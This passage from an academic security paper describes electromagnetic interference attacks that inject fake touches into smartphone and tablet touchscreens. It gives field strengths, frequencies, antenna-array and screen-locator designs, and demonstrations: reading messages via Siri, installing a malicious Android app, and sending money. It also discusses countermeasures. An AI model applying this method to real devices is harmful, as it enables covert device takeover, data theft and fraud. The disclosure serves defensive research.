both 10 mm (see Fig. 9a). A non-conductive foam sheet is
inserted between the plates and the touchscreen for mechanical
support. The thickness t of the touchscreen itself is 5 mm. The
dielectric constant of the foam sheet is in the range of 1.8 -
3 [21]. To simplify the calculation of E field strength, Ez, we
use the following equation based on VE, the voltage across
the plates.
Ez =
VE
2d + t
(14)
Further, to validate the accuracy of (14), we compare our cal-
culated results with simulation results using Ansys HFSS [22].
Note that the simulation reflects the real configuration by
considering the foam sheet and the plate sizes. The HFSS uses
finite element analysis to solve Maxwell’s equation, thereby
providing accurate calculation results.
Fig. 9b shows the simulated E field on the touchscreen
caused by the two plates when VE = 15V . We found that
the magnitude of the simulated E field is approximately equal
to the calculated results using (14), which indicates that the
simplified (14) is a good estimate for the generated E field
strength. Hereafter, we will rely on (14) to derive the VE based
on the required Ez.
(a)
(b)
Fig. 9: Electric field simulation: (a) cross-sectional view and (b) simulated
electric field on the surface of the touchscreen.
C. Evaluation of E Field Strength IEMI on Touchscreen Be-
havior to Validate Our Theory
To exclude possible interference from the electrode plates
affecting the touchscreen functionality, we first do not apply
voltage to the electrode plates and collect touchscreen diag-
nostic data by drawing a random pattern on the touchscreen
with a finger. This confirms that the touchscreen functions
normally.
Stationary IEMI attack: Once we confirm the electrodes
themselves have no impact on the touchscreen, we calculate
the required VE for an IEMI attack. We collect parameters for
a typical touchscreen from [13]. The minimum detectable ca-
pacitance change ∆C is 0.1 pF and the touchscreen controller
excitation signal Vin is 5 V. We also incorporate the overlap
area 8mm × 8mm due to the electrode. From (10), we have
Ecrit = 883V/m. Following (14), the corresponding VE is
calculated as 22 V.
plate 1 location
(a)
plate 1 location
(b)
Fig. 10: Ghost touch under an IEMI attack with (a) 20 V, 140 kHz and (b)
25 V 140 kHz voltage excitation VE.
We then set VE on the signal generator to be a sinusoidal
voltage source with a frequency of 140kHz. Instead of apply-
ing 22 V directly, the amplitude of VE is gradually increased
until a ghost touch is observed. The process is repeated three
times to find the minimum voltage that causes the ghost touch.
In our experiment, we do not detect ghost touches when VE
is lower than 20 V. When the voltage is higher than 20 V,
however, ghost touches start to appear. As shown in Fig. 10a,
a ghost touch is successfully generated at the center of plate
1 when VE is 20 V. Note that the required minimum VE for
ghost touches is close to our theoretical calculation (i.e., 22
V), showing that our analysis is accurate. When we increase
move direction
(a)
move direction
(b)
Fig. 11: Ghost touchpoints with plate 1 moves (a) from left to right and (b)
from top to bottom.
VE above 20 V, multiple ghost touches are observed. This is
because when the voltage is high compared to the minimum
VE, several locations under plate 1 (as opposed to just one)
have sufficiently high E field strengths to induce ghost touches.
Fig. 10b shows that two ghost touches are generated when VE
is 25 V.
Moving IEMI attack: We have demonstrated that the touch-
screen is vulnerable to stationary IEMI sources. We further
expand our experiment by moving our electrode plates around
to verify if only certain locations on the touchscreen are vul-
nerable. To account for jitter caused by moving the electrode
plates, we increase the applied VE to 30V / 140kHz (E field
strength of 1200V/m) to ensure the E field is always higher
than Ecrit. As shown in Fig. 11a, many ghost touch points
are evident when plate 1 moves from left to right. Fig. 11b
shows the ghost touch points when plate 1 moves from top
to bottom. The results show that all physical locations of the
touchscreen are equally vulnerable to an IEMI attack.
D. Evaluation of IEMI Frequencies on Touchscreen Behavior
to Validate Our Theory
As we mentioned in Section IV-E, the E field frequency
also impacts the IEMI attack in addition to its strength. We
therefore conduct several experiments to validate our analysis
on calculating the required signal frequencies for a successful
IEMI attack.
Sweeping IEMI Attack Frequencies to Validate Our The-
ory: From [17], [23], we know that the touchscreen system is
sensitive to noise in the range of 100 kHz to 1 MHz due
to integrated low pass filters in the touch sensing circuit.
We sweep the frequency from 10 kHz to 10 MHz to cover
the sensitive frequency range using steps of 10 kHz. With
each chosen frequency, we tune the voltage applied on the
two electrode plates until ghost touches are detected. If the
generated E field exceeds 3000V/m and there is still no
ghost touches detected, then we claim that the selected E field
frequency cannot generate a ghost touch. We run each test for
5 seconds and after each measurement reboot the Chromebook
to reset the touchscreen. The procedure is repeated three times
for each frequency. All collected results are plotted in Fig. 12
which shows a complete view of the frequency dependency for
successful IEMI attacks. As we can see in this figure, certain
excitation frequencies out-perform other frequencies (requires
smaller E field strength to trigger ghost touch), which validated
our previous theory of IEMI frequencies, see equation (12)
and (13).
104
105
106
107
1,000
1,500
2,000
2,500
3,000
Frequency (Hz)
External E field (V/m)
Fig. 12: Minimum E field that causes the ghost touch at different frequencies
Targeted IEMI Attack Frequencies to Validate Our The-
ory: In Section IV-E, we show that fsw and Ds determine
the minimum/maximum IEMI interference using an E field
with frequency fE. These parameters can be calculated from
two adjacent frequencies with the maximum interference (local
lowest Ecrit). Using the results presented in Fig. 12, we select
two adjacent frequency points and derive fsw = 70kHz
and Ds = 0.125. Based on these calculations, we can then
derive all E field frequencies that can cause minimum IEMI
interference (denoted as fEmin) or maximum IEMI interfer-
ence (denoted as fEmax) using (B-6), (12) and (13). In the
frequency range of 100 kHz to 1 MHz, fEmax and fEmin
are listed as follows.
fEmax = 140 kHz, 420 kHz, 700 kHz, 980 kHz
fEmin = 560 kHz, 1120 kHz
Note that these calculated frequencies match the experimen-
tal results shown in Fig. 12. For frequencies other than fEmin
and fEmax, we can still obverse ghost touches with larger
than minimum E field strengths. It is worth noting that the
IEMI signal cannot cause any interference at 700 kHz. This
is likely caused by internal filters that are in place to avoid
undesired interference from internal electronics components
at those frequencies. For frequencies higher than 1 MHz,
the impact of the sensor circuit’s internal low pass filter and
parasitic parameters become more significant [23]. Since this
is often proprietary information of touchscreen manufacturers,
the experimental results become less consistent with our
calculations. When we set the frequency larger than 3.4 MHz,
no ghost touches are detected.
VI. PRECISE SCREEN CONTROL USING IEMI ATTACK
In modern touchscreen systems, the electrodes at the touch
sensor grid are scanned by the controller [13]. The controller
drives a single column (TX electrode) and scans every row
(RX electrode) as shown in Fig. 13a. The process is repeated
for every column so that the capacitance of all the electrodes
can be measured. For example, in Fig. 13a, column Y2 is being
driven and rows X1 to X4 are being sensed in sequence. When
the IEMI attack on the screen occurs at the moment when a
single pair of electrodes is being scanned (see Fig. 13b), it is
possible to generate a ghost touch at that specific location. A
ghost touch will be recognized at (X2, Y2) when IEMI occurs
while those electrodes are being sensed.
(a)
(b)
Fig. 13: Illustration of a precise IEMI attack (a) controller and IEMI signals
and (b) ghost touch on a precise location.
Generating an E field with a small focusing area is chal-
lenging. However, it is possible to generate a ghost touch at a
specific location on the screen without synchronizing with the
sense lines if the IEMI signal is generated with an appropriate
antenna using a short pulse. This essentially mimics a finger
touch event. In Section V, we use two copper plates which are
attached to the front and back of the victim device to generate
a focused small E field. Although such a setup is impractical
in real attack scenarios, we can use the same methodology
to design a new antenna, e.g., using two copper plates right
next to each other. In this design, one copper plate is connected
with an excitation signal and the other is connected to ground.
With this configuration, the generated E field is drawn into the
grounded copper plate rather than distributed on the surface
of victim device. In our later experiment section, we show
that our antenna design can be made as small as 4mm x
4mm which provides both accuracy and high resolution. In
section VII-A, we show how a copper needle antenna can be
used on a large touchscreen device to generate highly accurate
ghost touches without the involvement of ground due to the
internally large metal of the device.
VII. FEATURES AFFECTING IEMI ATTACK PERFORMANCE
In this section, we evaluate the accuracy and effectiveness
of our touchscreen attack with different touchscreen devices
across different manufacturer, size, operating system, and
model. We explore the features affecting IEMI attack pefor-
mance and practicality. In particular, we highlight the success
rate and accuracy of the IEMI attack using different materials
and at different distances. We also demonstrate how to locate
the position of the phone and manage interference between
antennas.
A. Experimental Setup
To evaluate how different factors can influence the gen-
eration of a ghost touch, we conduct experiments using a
similar setup as presented in Section V, except we add a
probe positioning system and single-end antenna, as shown in
Fig. 14. We use standard SMA-to-SMA coaxial cables which
are equipped with a shielding layer to connect the antenna to
the RF amplifier to avoid undesired EM signal emission. It
is worth mentioning that we use copper needles as antennas
for our experiments on the iPad Pro and Surface Pro devices
because they provide better resolution due to the more focused
E field at the needle tip. As for the smaller devices tested,
such as iPhone and Android smart phones, we still use the
standard copper plates (4mm x 4mm) antenna setup because
it provides a more controllable and small E field due to the
presented ground terminal. We attach the copper plate/copper
needle to standard SMA connectors as the antenna. A separate
copper plate is also used to measure the touchscreen sampling
signal for the phone detector which we will elaborate in
Section VIII-B.
Fig. 14: Copper needle antenna and device under test
B. Experiment Design
To evaluate the precision and success rate of our touch-
screen attack across different victim devices (Android, iOS,
Windows), we designed our own cross-platform touchscreen
gesture collection application with flutter. The application
collects tap, double tap, long press, and swiping gestures on
the touchscreen. It then reports all detected gestures and their
associated time and location to a remote server for subsequent
analysis. The application draws a red dot at the center of the
test device for target visualization purposes. The application
also visualizes the detected gestures on the screen along with
coordinates information.
C. Success Rate and Accuracy
With the reported touch event location and timing, we can
perform evaluation against the collected data to show both the
success rate and accuracy of our attack. During the experiment,
we notice that our attack occasionally creates rare random
touch events at distant positions due to the non-ideal E field
spread and interference from nearby equipment. This is shown
in Table III under the QD (X) and QD (Y) columns, where
we choose Quartile Deviation (QD) to better evaluate how the
generated touch events are focused in a small region. The QD
(X) and QD (Y) columns represent how large the generated
touch events are distributed along the X axis and Y axis of
a test device with respect to pixels. Another benefit of using
Quartile Deviation instead of Standard Deviation is that we
find if the generated touch event is far away from its intended
target, then it will not interfere with the attack chain by, for
example, pressing an incorrect button that is adjacent to the
correct button. As the result, we believe QD is an appropriate
metric to quantify the ªactual attackº accuracy. From Table III,
we can tell that our attack performs accurately on the iOS
device, especially on large touchscreen devices. However,
we also noticed that our attack often creates scattered touch
events vertically or horizontally. After further investigation,
we believe that although our antenna and signal cable is
specifically chosen to generate a small, focused interference
signal, there are still undesired IEMI signals leaked and the
Android test devices are sensitive enough to recognize them
as touch events. Note that the ghost touch occurs every time
we apply IEMI signal on these Android devices so the ghost
touch success rate is 100% but the accuracy is lower than iOS
devices.
D. Table Material
As we aforementioned in Section V, the dielectric constant
of the table material impacts our attack. To evaluate the
performance of our attack using different common table ma-
terials, we choose five typical table top samples (solid wood,
acrylic, marble, medium density fiberboard/MDF, copper) as
the insulation material between antenna and victim device and
repeat our experiment. We conduct the experiment with acrylic
sheet and our probe positioning system first and then swap the
table top sample so that we can still calculate the statistical
dispersion for non-transparent table material. The thickness of
these table material samples are all 10mm. Table III shows
that when non-metal table materials are used, our attack can
achieve similar performance with respect to success rate and
dispersion. However, the metal table material does not allow
us to perform a valid attack due to its high conductivity.
E. Table Thickness
To understand the practicality of our attack, we also evaluate
it with respect to success rate and accuracy using different
thicknesses of table material. We set the signal generator to
sweep mode and each sweep period is set to 1 second, such
that the correct interference frequency will be generated every
second. The total time of signal generator output lasts 30 sec-
onds. We use our own application to record how many touch
events are generated during the test period and where/when
they are generated. Using an iPad Pro and acrylic sheets, we
conduct the experiments when the thickness of the acrylic
sheets is 10mm, 15mm, 20mm. As we can see in Fig. 15,
the success rate of our attack is up to 100% when the table
thickness is 10mm. The success rate decreases to 76% when
the table thickness is 15mm. The success rate eventually drops
to 40% when the table thickness is 20mm. In real life, the
common table thickness is only 1/2 inch or 5/8 inch based on
IKEA [24], Office Depot [25] and Wayfair [26]. Our effective
TABLE II: Success Rate and Accuracy of Touchscreen Attack
Device
Operating System
Success
Freqeuncy (kHz)
Electric Field Strength (V/m)
Success Rate (s)
QD (X) (s)
QD (Y) (s)
Nexus 5X
Android 8.1.0
270
1000
100%
3.5
182.5
Google Pixel 2
Android 10
230
1000
100%
10.0
149.5
OnePlus 7 Pro
Android 11
295
800
100%
196.5
3.0
iPhone SE
iOS 12.0
✓
95
1500
57%
10.5
6.0
iPhone 6
iOS 12.2
✓
98
1500
86%
14.0
10.0
iPhone 11 Pro
iOS 14.7.1
✓
120
1500
77%
4.5
8.5
Surface Pro 7
Windows 10 Pro 2004
✓
220
1200
88.3%
12.5
7.5
iPad Pro
iPadOS 14.7.1
✓
270
1500
100%
1.0
0.5
TABLE III: Touchscreen Attack with Different Table Materials
Material
Dielectric Constant
Success Rate
QD (X)
QD (Y)
acrylic
2.7 - 4.0
100%
1.0
0.5
marble
3.5 - 5.6
76%
2.6
1.0
solidwood
1.2 - 5
90%
1.6
1.4
MDF
3.5 - 4
100%
1.0
1.0
copper
✗
✗
✗
✗
attack distance, 20mm, is larger than the common tabletop
thickness.
Fig. 15: Generated touch event on iPad Pro with different table thickness.
F. Interference Between Antennas
In our experiments, we design and use an antenna array to
generate multiple touch events at different locations. However,
if we need sequential touch events, only one antenna will
be applied with an excitation signal at a certain time and
other antennas should be kept as either grounded or floated.
However, two antennas that are physically close with each
other can easily couple with each other and create undesired
touch events at random locations and times. To overcome
this issue, we employed isolated and shielded signal cables
and antennas. All the signal cables that are used to drive
the antenna array are standard SMA-to-SMA shielded cables
in order to avoid coupling between each other. Furthermore,
copper tape is used to cover the antennas to insulate the
generated EM field into a small region as shown in Figure 14.
VIII. PRACTICALITIES OF TOUCHSCREEN ATTACK
In this section, we discuss how to utilize the proposed IEMI
attack in real attack scenarios. To perform a practical attack,
the attacker has three major obstacles to overcome, the design
of an IEMI antenna, knowledge of the victim device’s location,
and knowledge of a successfully injected touch event. We
address all three obstacles by building an antenna array, phone
locator, and touch event detector respectively.
A. Design of an IEMI Antenna
In previous sections, we show how to inject simple tap,
long hold, and any direction sweep gestures on touchscreens
with a single needle IEMI antenna. The injected touch gestures
are located directly in the path of the IEMI antenna. Under a
practical scenario, however, the touchscreen device can be ran-
domly placed on the tabletop. A single needle IEMI antenna
is therefore insufficient to inject a touch event if not placed
directly in its path. We consider two solutions to address
this issue. First, the attacker can implement a mechanical
system to maneuver the single needle IEMI antenna into
the desired location of the victim touchscreen device, then
perform an IEMI attack. The attacker can then operate the
IEMI antenna to perform complicated drawing gestures by
continuously generating the interference signal to meet the
attack requirement. While possible, we consider this a less-
than-ideal solution due to both the size and noise of the
mechanical infrastructure required to freely move a single
needle IEMI antenna under a tabletop without being detected.
This option would therefore require significant effort and cost
to ensure a stealthy design. We therefore opt for implementing
a static antenna array to reduce the associated engineering and
practical issues mentioned above. A modular antenna array
allows us to configure the way it is attached, so that we can
increase the density of IEMI antennas for a smaller target
device without changing the hardware design. In addition to
the antenna array, we implement an IEMI channel controller
that can independently control up to 64 IEMI antennas using
programmable reed relays. The size of the designed IEMI
channel controller and antenna array are smaller enough to
squeeze into a shoe box. The needles of the antenna array are
inserted into foam to support and protect the fragile hardware.
The size of the array is 24cm x 17cm, and the distances
between the antennas vary between 2cm and 7mm to meet the
density requirements for different sizes of target touchscreen
devices.
B. The Screen Locators
As we have mentioned in Section II-A, a touchscreen sens-
ing system consists of a grid of TX and RX electrodes. The
TX electrodes generate varied excitation signals on different
lines while the intersecting RX electrodes sense the physical
variations to determine the touch points. Our experiments
found that antennas placed near the screen can easily pick
up these TX signals. Such signals contain patterns that can
tell us at which TX lines the antennas are pointing. Besides,
when an antenna is placed perpendicular to the screen, only
the pointed TX electrode produces the strongest signals, while
nearby electrodes have little impact on the received signals.
Hence, the signal received by an antenna can be used to
identify the pointed-at location with high spatial resolution.
For example, a significant signal strength degradation can be
observed when two antennas are placed on both sides of a
screen boundary. This feature allows us to accurately detect
the screen boundary location with an error of less than 1 cm.
Various driving methods can be used to generate the TX sig-
nals. Among all examined devices, we observed two methods
being used. The sequential driving method (SDM) is usually
implemented to excite the electrodes in turn. As a result,
the electrode location can be identified by checking when a
TX signal appears. Fig. 16a shows EM traces collected on
four different rows of a Google Pixel 2. We can observe the
linear relationship between the rows and the appearing time
of TX signals. The orientation and location for this kind of
screen can be quickly recovered using a simple linear function.
Besides the sequential driving method, we found the parallel
driving method (PDM) to be a more frequently implemented
technique on most of the latest devices, which uses orthogonal
codes to drive all TX signals concurrently. Fig. 16b shows
EM traces collected on four different columns of an iPhone
11 Pro. As we can see, instead of generating signals with the
same patterns sequentially, different electrodes produce signals
with varied patterns simultaneously. In this case, recovering
the location information is more challenging because of the
less straightforward correlations between signals and screen
locations. However, we can still successfully recover the screen
location information using these TX signals with the technique
described below.
0
1
2
3
4
5
6
-2
0
2
4
Row 1
0
1
2
3
4
5
6
-2
0
2
4
Row 4
0
1
2
3
4
5
6
-2
0
2
4
Row 7
0
1
2
3
4
5
6
Time (ms)
-2
0
2
4
Row 10
Voltage (mV)
(a) Sequential driven TX signals
0
1
2
3
4
-2
0
2
Column 1
0
1
2
3
4
-2
0
2
Column 2
0
1
2
3
4
-2
0
2
Column 5
0
1
2
3
4
Time (ms)
-2
0
2
Column 6
Voltage (mV)
(b) Parallel driven TX signals
Fig. 16: TX signals on screens with different driving methods
Our technique consists of three steps: feature extraction,
classifier training, and location prediction. As shown in
Fig. 16b, the boundaries between two code bits can be identi-
fied, which allows us to segment the signals corresponding to
each code bit. For each segment, we can compute descriptive
features for a code bit, which can be the phase, the magnitude,
or the frequency, depending on the specific encoding schemes
used by the screen. Then, we can derive a feature vector for
each TX signal by concatenating these features. Afterward, we
can train a classifier with enough feature vector and location
pairs. This classifier can identify the screen location using the
signal collected at an unknown location.
We can identify different TX electrodes in different lines
using this technique, but we can not distinguish differ-
ent locations on the same TX electrode. Expressed differ-
ently, for any antenna with a known antenna coordinate
(xantenna, yantenna), we can obtain a single dimension screen
coordinate, which may be xscreen or yscreen. To determine
the other dimension, we also need to know at least one
antenna coordinate mapped to the screen boundary to tell
us the unknown dimension. As mentioned above, the screen
boundary can be accurately located by looking for significant
signal strength degradation between two adjacent antennas.
With enough antenna coordinate and screen coordinate pairs,
we can derive the mapping between them. The mapping
between (xscreen, yscreen) and (xantenna, yantenna) can be
seen as a rotation followed by a translation as described in
Equation 15, where θ represents the rotation while xt and yt
represent the translation. After solving this equation, we can
use this transformation matrix to select the closest antenna to
inject the error for any target screen location.
xscreen
yscreen
1
=
cos(θ)
−sin(θ)
xt
sin(θ)
cos(θ)
yt
0
0
1
xantenna
yantenna
1
(15)
To better demonstrate how the screen locator works, we use
an iPad Pro as an example. From a TX signal on the iPad Pro,
we can obtain a feature vector with 48 feature values using
the magnitude of sinusoidal signals in each segment, which is
correlated to the row number on screen. Signals are collected
from the bottom row to the top row with a step of 1cm.
On each row, signals are collected at 12 different columns.
These signals are used to train a k-nearest neighbors (KNN)
classifier. In the evaluations, we first use signals collected from
7 antennas in a small area to detect the location and orientation
of the tested iPad Pro. Fig. 17a shows the detection results.
The predicted location is pretty close to the actual location,
with maximum prediction error being 0.8cm. Furthermore, if
we use 5 more antennas to collect signals in a larger area, the
prediction result matches perfectly with the actual location.
We tested our screen locator on 5 devices listed in Table IV.
We list the driving methods used by these devices, the sample
rate we use to collect the data, the average prediction error,
and the average computation time. Note that for screens using
SDM, the location is computed using the time stamp read from
an oscilloscope.
0
5
10
15
20
25
X (cm)
-10
-5
0
5
10
15
Y (cm)
predicted location
actual location
prediction error
antennas
(a) Screen location detected using 7
antennas
0
5
10
15
20
25
X (cm)
-10
-5
0
5
10
15
Y (cm)
predicted location
actual location
prediction error
antennas
(b) Screen location detected using 12
antennas
Fig. 17: Screen location detection results of iPad Pro
TABLE IV: Screen Location Detection Results
Device
Driving Method
Sample Rate
Error
Time
Nexus 5X
SDM
50MSa/s
0.42 cm
N/A
Google Pixel 2
SDM
50MSa/s
0.51 cm
N/A
iPhone 11 Pro
PDM
1MSa/s
0.3 cm
0.08s
OnePlus 7 Pro
PDM
2MSa/s
0.06 cm
0.14s
iPad Pro
PDM
1MSa/s
0.18 cm
0.17s
C. The Touch Event Detectors
To perform an attack which requires several touch events
to complete, it is important to know whether the current
touch event injection is successful before proceeding to inject
the next touch event at a different location. In certain cases
injection of a successful touch event may take more time
than expected. As introduced in Section XI, there are multiple
techniques to detect the current screen content out of sight.
However, these techniques can be difficult to use without
significant effort. In our work, instead of detecting if we
have altered the screen content as desired, we detect if our
last touch event injection was successfully applied on the
screen. The key behind such detection is the active scanning
mechanism used by modern touchscreen controllers [27]. To
achieve balance between the power efficiency and scanning
accuracy, touchscreen controllers perform reduced scanning
to preserve the power. Once a touch event is detected on the
touchscreen, the controller changes the scanning mode from
reduced scan to full scan to measure the touched location more
accurately. If there are no more touch events detected, the
controller switches back to reduced scan mode automatically.
Although we do not have a datasheet for a commercial touch-
screen controller, using our IEMI antenna we observed similar
behavior on all tested touchscreen devices. More importantly,
if the touch event is successfully injected on a target device and
recognized by the operating system, the touchscreen controller
takes a longer time to switch back to reduced scan mode. As
shown in Figure 18a, the iPad Pro emits a sparse scanning
signal with 120Hz frequency when no finger or IEMI signal
is present. Figure 18b shows how the touchscreen switches
from full scan mode back to reduced scan mode after we
turn off our IEMI signal. We can also see the touchscreen
recognizes our IEMI signal as a touch event but eliminates it
due to the wrong interference frequency. In Figure 18c, we
apply a correct IEMI signal and successfully trigger a touch
event on screen. The time that the controller takes to switch
back to reduced scan mode is discernibly longer compared
to the previous experiment. Such phenomena is stable and
is exhibited on all our tested devices. Using this technique,
we examine the collected touchscreen emission signal right
before we turn off the IEMI attack and detect if any touch
event was injected in the previous attempt. Our experimental
results show that this approach works every time on our three
main test devices (iPad Pro, iPhone 11 Pro and Oneplus 7
Pro). The touch event detector is implemented as a dedicated
IEMI antenna which connects to an oscilloscope.
0
50
100
150
200
Time (ms)
-5
5
-5
5
-5
5
Voltage (mV)
(c)
(b)
(a)
Fig. 18: Emission signal from iPad Pro (a) reduced scan. (b) failed IEMI
attack. (c) successful IEMI attack.
IX. EVALUATION OF PRACTICAL ATTACKS
A. The Attack Setup
With our antenna array, phone locator and touch event
detector in place as shown in Figure 19, we are ready to
conduct an actual attack that mimics practical scenarios. We
tape our antenna array under the left-bottom corner of an
experimental bench made of MDF with a table thickness of
15mm. A laptop is placed at the left side of the table outside
of the detect/attack range of our antenna array. During the
experiment, we ask ªthe victimº, who has no prior knowledge
of the exact location of our antenna array, to sit in front of
our experimental bench and put our unlocked test target device
facing down. We then use our phone locator to infer the current
position and orientation of our target device, perform the attack
vectors and monitor the injected touch events. Note that we
do not ask ªthe victimº to use their own devices as we may
alter or leak private content of the target device during the
experiments.
B. Attack Evaluation
To evaluate the setup in a practical scenario, we choose three
different touchscreen devices as our target devices: 1) an iPad
Pro 2020; 2) an iPhone 11 Pro; and 3) a Oneplus 7 Pro. These
three devices are pre-installed with our touch event detection
application and remotely mirror their current display onto
another monitor. Note that this application is only installed
to better illustrate the injected touch events during the experi-
ment. Attackers can perform a similar attack without installing
the application ahead-of-time. The test device is unlocked and
Fig. 19: Attack setup for precision evaluation
(a)
(b)
Fig. 20: Attack setup with actual table (a) attack setup on the table (b) antenna
array attached to the table.
randomly placed on our antenna array with different angles
and orientations as described above. We first use the antenna
array to capture and analyze the emitted signal from the
target device to predict its current position and orientation.
We have found in our experiments that our phone locator
program typically needs 4 antennas at different locations to
infer the phone location within 3 seconds with a sampling
rate of 1M/s. Once we have the precise location of the target
device, we switch the antenna array from monitor mode to
attack mode by switching the corresponding relays. We choose
the appropriate interference frequency and amplitudes based
on the target phone model. We then use our attack setup to
launch two different type of attacks against the touchscreen
devices under test using either a precise touch event injection
or sequence of touch events at different locations as needed.
Leveraging Siri on iOS devices Installing unauthorized
applications on an iOS device can be difficult due to strict iOS
application distribution. Instead, we leverage our touch event
injection attack to abuse Apple’s accessory discovery mecha-
nism to perform data exfiltration. An iOS device automatically
finds nearby unpaired Apple accessories, such as Airpods
headphones. Once these devices are found, a notification pops
up and asks the user if the device should pair and connect.
The notification issues a Connect request that prompts the
user to grant access. To connect with the device the user only
needs to tap the Connect button without further action. Once
connected, the user can directly uses the Airpods to wake up
and interact with Siri, the voice assistance on Apple devices.
The Connect request notification is always displayed at a
fixed location. In our experiments, we find the size of the
Connect button is approximately 5.5 cm by 1 cm. The
confirmation button occupies roughly 2/3 of the screen width
on an iPhone Pro 11 which makes it easier to attack. On
the contrary, the size of this button on an iPad Pro is much
smaller compared to the size of the screen. However, our
attack is still feasible on the iPad Pro due to its accuracy (see
Section VII and Table II). We first conduct an experiment to
validate the possibility of such an attack on a randomly placed
iPhone 11 Pro and iPad Pro 2020 using unpaired Airpods.
After successfully pairing with the Airpods we wake up Siri
to read out the new messages of the victim devices. To further
evaluate the success rate of our attack on iOS devices, we
use our touch event application to draw a square space of the
same size as the confirmation button. We randomly place the
victim device on our antenna array and repeat the process of
sensing/attack/detection and then evaluate if the injected touch
events falls into the intended region. Our attack works 6 out
of 10 times on iPad Pro with an no more than 12 seconds
of attack time and works 9 out of 10 times on an iPhone 11
Pro with no more than 9 seconds of attack time. The random
placement of test devices outside the range of our antenna
array are not included in the metric calculation. During the
experimentation, we find that the main point of failure for an
attack on an iPad Pro is that the distance between our IEMI
antennas is too large to have at least one IEMI antenna placed
on top of the confirmation button. The current configuration
of number of IEMI antennas and the distance between IEMI
antennas is a tradeoff between antenna array coverage and
antenna density that should be selected based on the target
device screen size.
Installing malicious applications on Android devices To
attack Android based touchscreen devices, we use our IEMI
to inject multiple touch events at different screen locations.
More specifically, we assume the attacker knows the phone
number of the victim device and sends it a message which
contains the link of a malicious application. To install the
malicious application, we need to generate 5 distinct touch
events in sequence at different locations, including a tap on
the notification of new message (1 large clickable area), choose
action for link (2 buttons in a row, open link/copy text),
allow saving the APK file (2 adjacent buttons), install the
APK file after downloading (1 button), and finally open the
APK after installation (2 adjacent buttons). We use a Oneplus
7 Pro to evaluate this attack. We first measure the location
and orientation of the victim device. We then initiate the
attack by sending a message containing the download link
of designated application. Once the message is sent, we use
one IEMI antenna that points to the middle of the screen and
two IEMI antennas at the bottom part of the screen to inject
the five touch events in sequence. Each individual touch event
is evaluated with our touch event detector before moving on
to the next touch event. We conducted 10 experiments with
different cellphone locations. We achieved three successful
attacks with our setup. Using the mirrored display, we find that
most of the failed attempts were due to incorrectly inducing
a touch event on adjacent buttons. For example, the injected
touch event incorrectly presses the CANCEL button and causes
the entire attack to immediately fail. We believe a better
designed IEMI antenna would allow us to focus the generated
E field on a smaller attack area, thereby making our attack
more robust.
(a)
(b)
Fig. 21: Attack scenarios on different type of target devices (a) Apple
headphone connection on iOS devices (b) malicious message on Android
devices.
C. Attack Vectors with Human Operation
In the previous section, we presented the design of a static
antenna array and how it can be use to perform security
oriented attacks on multiple devices in several real scenarios.
Although the antenna array is easy to build and use, more
powerful attacks can be carried out if the attacker has both
access and the ability to use a programmable mechanical
system with our touch event injection techniques, such as
a miniature 3D printer [28] or robotic arm[29] commonly
used in side channel analysis research. In this case, our IEMI
antenna more closely mimics the presence of a human finger
and the mechanical system mimics a human arm. To illustrate
the capabilities of our attack in this setting, we opt to manually
maneuver our IEMI antennas to simulate the attack with the
mechanical system. With the short-tap, press-and-hold and
continuous omni-directional-swipe we achieve the following
security oriented attack outcomes. We believe these attacks are
feasible and practical to implement for a motivated attacker.
Send Message (Short-Tap) With the short tap, we can send
a specific message to a recipient. In practice, such capabilities
can be abused to reply with confirmation messages when banks
request text verification for suspicious credit card transactions.
In our experiment, we move our IEMI antenna to generate
short-tap touch events on top of the letters ªY, E, Sº and the
enter position to send a confirmation message. The experiment
is conducted on an iPhone 11 Pro and a successful operation
takes less than 10 seconds.
Send Money (Press-and-Hold) A typical use case of press-
and-hold on iOS is providing shortcuts for certain function-
alities with minimum user interaction. For instance, Paypal
allows iOS users to hold-and-press the application icon to
activate and send money by showing the QR code without
actually launching the application. We continuously apply
our interference signal on an iPad pro and point the IEMI
antenna toward the Paypal application to trigger this feature
and evaluate the feasibility of such an attack. We then move
the antenna down to press on the ºSend Moneyº option and
then turn off the interference signal to show the send money
QR code. We successfully launched this attack 7 out of 10
times at an attack distance of 10mm. The completion time for
every iteration of the attack was within 5 seconds. We found
that human error, accidentally increasing the attack distance
while holding the antenna, was the reason for failed attack
attempts.
Unlock Gesture Lock Screen (Omni-Directional-Swipe) A
significant achievement of our work compared to previous
approaches is that we can inject omni-directional-swipes with
a controllable duration. As we show in our video demonstra-
tion where we draw a figure with our IEMI antenna, if the
attacker can control the location of the IEMI antenna a gesture
lock screen unlock attack can be performed. We evaluate
the feasibility by trying to unlock a gesture lock protected
application on an iPad Pro. The gesture lock we setup has the
shape of ªZº which includes 7 points at three different rows
and columns. This attack was successful 3 out of 5 times at
an attack distance of 10mm. The completion time for every
iteration of the attack was similarly within 5 seconds. The total
travel distance of the IEMI antenna was 14 cm.
X. COUNTERMEASURES
Force Detection: Force and pressure add a new dimension on
top of existing touchscreen techniques. High end touchscreen
controllers [30] can detect the force applied on the touchscreen
with a scale from 1 to 10. The force sensors used in the touch-
screen can detect subtle differences in the amount of pressure
of each touch. Since the introduced ghost touches may not
cause any pressure on the touchscreen, the underlying system
can check both force sensors and touchscreen controllers to
filter out the ghost touches. The test devices that we have do
not have such features, so we use a barometer as a substitute
for detecting the pressure on the touchscreen for those devices
equipped with one. In our touch gesture detection application,
we read the barometer value whenever a touch event occurs.
For example, the barometer value on the Pixel 2 changes 0.3
hPa when the screen is pressed with a finger for more than 1
second. We successfully detect injected long press and swipes
on a Pixel 2 using the barometer. However, this method is
limited to Android devices with water resistance, otherwise
the barometer value does not change even with a human finger
pressing on the touchscreen.
Low-Cost Accessory: Apart from manufacture level counter-
measures, end users may use smartphone or tablet cases with
metal front covers to block all EM interference including the
IEMI attacks. In fact, such products are already available in
the market [31] and originally designed to prevent the NFC
card skimming attack [32]. To evaluate this countermeasure,
we use a regular phone case with front cover and tap the
inner layer with Faraday Fabric. We keep the phone awake
while using the phone with our customized phone case. Even
though the thickness of the Faraday Fabric is only 0.28mm, it
still defends our attack considerably well. We were no longer
able to inject the touch events onto any test devices except for
rare ghost touches at the edge of the touchscreen where the
Faraday Fabric is not covered well. This countermeasure does
not require any specific hardware or software to be present on
the touchscreen device and can be implemented with minimum
effort.
XI. RELATED WORK
A. IEMI Attacks
IEMI attacks have been applied to different devices and sys-
tems, including medical devices [33], smart phones [34], [35],
embedded systems [36], [37], [38], autonomous vehicles[39],
[40], etc.
Among these attacks, Delsing et al. [38] examined the
effects of an IEMI attack on sensor networks and revealed the
susceptibility of sensor networks to high frequency (in GHz
